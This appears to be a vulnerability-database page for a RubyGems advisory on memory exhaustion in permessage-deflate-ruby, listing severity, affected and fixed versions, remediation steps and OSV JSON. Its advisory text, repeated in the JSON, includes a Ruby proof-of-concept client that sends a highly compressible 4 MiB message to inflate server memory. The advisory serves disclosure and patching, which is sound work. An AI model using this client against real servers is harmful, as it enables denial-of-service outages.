Vulnerabilities in pkg:gem/permessage_deflate

PACKAGE
Advisory Identifier: GHSA-5qm2-87xf-x3ff
Advisory Summary

CVE-2026-140011 is a HIGH (CVSS 7.5) memory exhaustion triggered by message vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting permessage-deflate-ruby libraries in the RubyGems ecosystem. The issue involves memory exhaustion triggered by message decompression. Remediation is available by upgrading affected packages to version 0.2.0, 0.9.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:gem/permessage_deflate

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:gem/permessage_deflate. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-5qm2-87xf-x3ff CVE-2026-140011 HIGH permessage-deflate-ruby: Memory exhaustion triggered by message decompression

CVE-2026-140011 at a Glance

CVE Identifier CVE-2026-140011
GHSA Identifier GHSA-5qm2-87xf-x3ff
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Affected Product permessage-deflate-ruby
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-140011

To remediate this vulnerability, upgrade all affected permessage-deflate-ruby dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

permessage_deflate fixed: 0.2.0
Upgrade permessage_deflate to 0.2.0
websocket-extensions fixed: 0.2.0
Upgrade websocket-extensions to 0.2.0
websocket-driver fixed: 0.9.0
Upgrade websocket-driver to 0.9.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for permessage_deflate

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-140011, inspect your project dependencies for permessage-deflate-ruby:

inspect dependencies for permessage_deflate

Analyze the terminal output to locate any version of permessage-deflate-ruby in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.2.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In permessage-deflate-ruby, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated remote client can cause a server to allocate memory with a much larger size than the message sent over the wire, potentially bypassing configured message size limits. This may cause the server to run out of memory and crash. ### Details [permessage-deflate][pmd-ruby] is used to add support for [compression extensions][pmd] to [websocket-driver][wd-ruby], [faye-websocket][fw-ruby] and other libraries based on these packages. A client with this extension activated can compress a very large message consisting of one byte repeated many times to around 1/1,000 of its original size before sending it to the server. Upon receiving such a message, the server will decompress it, and thereby allocate a buffer 1,000 times larger than the received WebSocket frame. The client may abuse this to cause the server to allocate such much that it runs out of memory and crashes. This is possible even if the client is using the most conservative possible parameters for the extension in terms of minimising `zlib` memory usage. If a `:max_length` option has been set by [websocket-driver][wd-ruby] or [faye-websocket][fw-ruby], this is not passed on to the [permessage-deflate][pmd-ruby] extension. The extension fully decompresses the received message, and only after this has happened does [websocket-driver][wd-ruby] decide whether the message is too large. To mitigate this, [permessage-deflate][pmd-ruby] has been updated to accept the `:max_length` option and enforce this as it consumes the `zlib` inflate output stream. For this to take effect, [websocket-extensions][we-ruby] and [websocket-driver][wd-ruby] must also be upgraded in order to forward the `:max_length` option to the extension. Alternatively, the vulnerability can be mitigated by removing the [permessage-deflate][pmd-ruby] extension from the server configuration. [pmd]: https://tools.ietf.org/html/rfc7692 [pmd-ruby]: https://github.com/faye/permessage-deflate-ruby [we-ruby]: https://github.com/faye/websocket-extensions-ruby [wd-ruby]: https://github.com/faye/websocket-driver-ruby [fw-ruby]: https://github.com/faye/faye-websocket-ruby ### Proof of concept A server is affected by this if it is running any WebSocket processing stack that includes this extension. For example, the following server uses the extension via `websocket-driver` with `max_length` set to 1 MiB. ```rb require 'eventmachine' require 'websocket/driver' require 'permessage_deflate' module Connection def initialize @driver = WebSocket::Driver.server(self, :max_length => 1 << 20) @driver.add_extension(PermessageDeflate) @driver.on(:connect) { |ev| @driver.start if WebSocket::Driver.websocket? @driver.env } @driver.on(:close) { |ev| close_connection_after_writing } @driver.on(:message) { |ev| p [:msg, ev.data.bytesize] } end def receive_data(data) p [:io, data.bytesize] @driver.parse(data) end def write(data) send_data(data) end end EM.run { EM.start_server('127.0.0.1', 8000, Connection) } ``` A client can trigger a larger than expected allocation by sending a message that is larger than the server's configured `max_length`, for example: ```rb require 'eventmachine' require 'websocket/driver' require 'permessage_deflate' module Connection attr_accessor :url def connection_completed @driver = WebSocket::Driver.client(self) @driver.add_extension(PermessageDeflate) @driver.on(:open) { |ev| @driver.binary("\x00" * (4 << 20)) } @driver.on(:close) { |ev| p ev } @driver.start end def receive_data(data) @driver.parse(data) end def write(data) send_data(data) end end EM.run { url = 'ws://127.0.0.1:8000/' uri = URI.parse(url) EM.connect(uri.host, uri.port, Connection) do |conn| conn.url = url end } ``` Running this client will cause the server to print that it received 4,089 bytes, but did not emit a message event, and the client exits with this close event: ``` #<struct WebSocket::Driver::CloseEvent code=1009, reason="WebSocket frame length too large"> ``` Although the server rejects the message as too large, it will in fact have inflated it to its full size of 4 MiB before making this decision. After installing the patched release(s), the client will instead print: ``` #<struct WebSocket::Driver::CloseEvent code=1009, reason="permessage-deflate: WebSocket frame length too large after decompression"> ``` The changed error message indicates that the extension is rejecting the message after `max_length` bytes have been output by `zlib`, and it stops consuming the output stream before the message is fully inflated. ### Impact Users running `permessage-deflate` on a server in a memory-constrained environment may be at risk of denial of service that can be triggered by an unauthenticated remote client. Users should upgrade packages as indicated by this advisory, or remove `permessage-deflate` from their configuration.

CVE-2026-140011 Affected permessage-deflate-ruby Versions

3 component(s)
Fixed Versions:
0.2.00.9.0
Product / Package Ecosystem Affected Versions Fixed Version
permessage_deflate
RubyGems
< 0.2.0
0.2.0
websocket-extensions
RubyGems
< 0.2.0
0.2.0
websocket-driver
RubyGems
≥ 0.5.0
< 0.9.0
0.9.0

References

Frequently Asked Questions

What is CVE-2026-140011?
CVE-2026-140011 is a security vulnerability in permessage-deflate-ruby involving Memory exhaustion triggered by message decompression under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).
Which permessage-deflate-ruby versions are affected?
Affected versions include releases prior to 0.2.0, 0.9.0 across affected packages: permessage_deflate, websocket-extensions, websocket-driver.
What version fixes CVE-2026-140011?
Upgrading to 0.2.0, 0.9.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is permessage_deflate affected?
Yes, permessage_deflate is affected in releases prior to 0.2.0. Upgrade your dependency to 0.2.0 or later.
Is websocket-extensions affected?
Yes, websocket-extensions is affected in releases prior to 0.2.0. Upgrade your dependency to 0.2.0 or later.
What is the CVSS score of CVE-2026-140011?
CVE-2026-140011 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-140011?
CVE-2026-140011 is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.).
How can I check RubyGems dependencies for CVE-2026-140011?
Run the dependency tree command: 'inspect dependencies for permessage_deflate'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5qm2-87xf-x3ff",
  "modified" : "2026-12-01T18:18:31Z",
  "published" : "2026-12-01T18:18:31Z",
  "aliases" : [ "CVE-2026-140011" ],
  "summary" : "permessage-deflate-ruby: Memory exhaustion triggered by message decompression",
  "details" : "### Summary\n\nAn unauthenticated remote client can cause a server to allocate memory with a much larger size than the message sent over the wire, potentially bypassing configured message size limits. This may cause the server to run out of memory and crash.\n\n### Details\n\n[permessage-deflate][pmd-ruby] is used to add support for [compression extensions][pmd] to [websocket-driver][wd-ruby], [faye-websocket][fw-ruby] and other libraries based on these packages. A client with this extension activated can compress a very large message consisting of one byte repeated many times to around 1/1,000 of its original size before sending it to the server. Upon receiving such a message, the server will decompress it, and thereby allocate a buffer 1,000 times larger than the received WebSocket frame. The client may abuse this to cause the server to allocate such much that it runs out of memory and crashes. This is possible even if the client is using the most conservative possible parameters for the extension in terms of minimising `zlib` memory usage.\n\nIf a `:max_length` option has been set by [websocket-driver][wd-ruby] or [faye-websocket][fw-ruby], this is not passed on to the [permessage-deflate][pmd-ruby] extension. The extension fully decompresses the received message, and only after this has happened does [websocket-driver][wd-ruby] decide whether the message is too large.\n\nTo mitigate this, [permessage-deflate][pmd-ruby] has been updated to accept the `:max_length` option and enforce this as it consumes the `zlib` inflate output stream. For this to take effect, [websocket-extensions][we-ruby] and [websocket-driver][wd-ruby] must also be upgraded in order to forward the `:max_length` option to the extension.\n\nAlternatively, the vulnerability can be mitigated by removing the [permessage-deflate][pmd-ruby] extension from the server configuration.\n\n[pmd]: https://tools.ietf.org/html/rfc7692\n[pmd-ruby]: https://github.com/faye/permessage-deflate-ruby\n[we-ruby]: https://github.com/faye/websocket-extensions-ruby\n[wd-ruby]: https://github.com/faye/websocket-driver-ruby\n[fw-ruby]: https://github.com/faye/faye-websocket-ruby\n\n### Proof of concept\n\nA server is affected by this if it is running any WebSocket processing stack that includes this extension. For example, the following server uses the extension via `websocket-driver` with `max_length` set to 1 MiB.\n\n```rb\nrequire 'eventmachine'\nrequire 'websocket/driver'\nrequire 'permessage_deflate'\n\nmodule Connection\n  def initialize\n    @driver = WebSocket::Driver.server(self, :max_length => 1 << 20)\n    @driver.add_extension(PermessageDeflate)\n\n    @driver.on(:connect) { |ev| @driver.start if WebSocket::Driver.websocket? @driver.env }\n    @driver.on(:close)   { |ev| close_connection_after_writing }\n    @driver.on(:message) { |ev| p [:msg, ev.data.bytesize] }\n  end\n\n  def receive_data(data)\n    p [:io, data.bytesize]\n    @driver.parse(data)\n  end\n\n  def write(data)\n    send_data(data)\n  end\nend\n\nEM.run {\n  EM.start_server('127.0.0.1', 8000, Connection)\n}\n```\n\nA client can trigger a larger than expected allocation by sending a message that is larger than the server's configured `max_length`, for example:\n\n```rb\nrequire 'eventmachine'\nrequire 'websocket/driver'\nrequire 'permessage_deflate'\n\nmodule Connection\n  attr_accessor :url\n\n  def connection_completed\n    @driver = WebSocket::Driver.client(self)\n    @driver.add_extension(PermessageDeflate)\n\n    @driver.on(:open)  { |ev| @driver.binary(\"\\x00\" * (4 << 20)) }\n    @driver.on(:close) { |ev| p ev }\n\n    @driver.start\n  end\n\n  def receive_data(data)\n    @driver.parse(data)\n  end\n\n  def write(data)\n    send_data(data)\n  end\nend\n\nEM.run {\n  url = 'ws://127.0.0.1:8000/'\n  uri = URI.parse(url)\n\n  EM.connect(uri.host, uri.port, Connection) do |conn|\n    conn.url = url\n  end\n}\n```\n\nRunning this client will cause the server to print that it received 4,089 bytes, but did not emit a message event, and the client exits with this close event:\n\n```\n#<struct WebSocket::Driver::CloseEvent code=1009, reason=\"WebSocket frame length too large\">\n```\n\nAlthough the server rejects the message as too large, it will in fact have inflated it to its full size of 4 MiB before making this decision.\n\nAfter installing the patched release(s), the client will instead print:\n\n```\n#<struct WebSocket::Driver::CloseEvent code=1009, reason=\"permessage-deflate: WebSocket frame length too large after decompression\">\n```\n\nThe changed error message indicates that the extension is rejecting the message after `max_length` bytes have been output by `zlib`, and it stops consuming the output stream before the message is fully inflated.\n\n### Impact\n\nUsers running `permessage-deflate` on a server in a memory-constrained environment may be at risk of denial of service that can be triggered by an unauthenticated remote client. Users should upgrade packages as indicated by this advisory, or remove `permessage-deflate` from their configuration.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "permessage_deflate"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.2.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "websocket-extensions"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.2.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "websocket-driver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.5.0"
      }, {
        "fixed" : "0.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/faye/permessage-deflate-ruby/security/advisories/GHSA-5qm2-87xf-x3ff"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140011"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/permessage-deflate-ruby/commit/83539816ae34c6d9724e94f6390ea9dc06dc7b13"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-ruby/commit/31188c15cfbbb684f0dbd65192d95da14a6e9070"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-extensions-ruby/commit/634bb92a77388e4fc0c73a9e541d36c473fb5d82"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/faye/permessage-deflate-ruby"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-409" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T18:18:31Z",
    "nvd_published_at" : "2026-11-30T22:17:31Z"
  }
}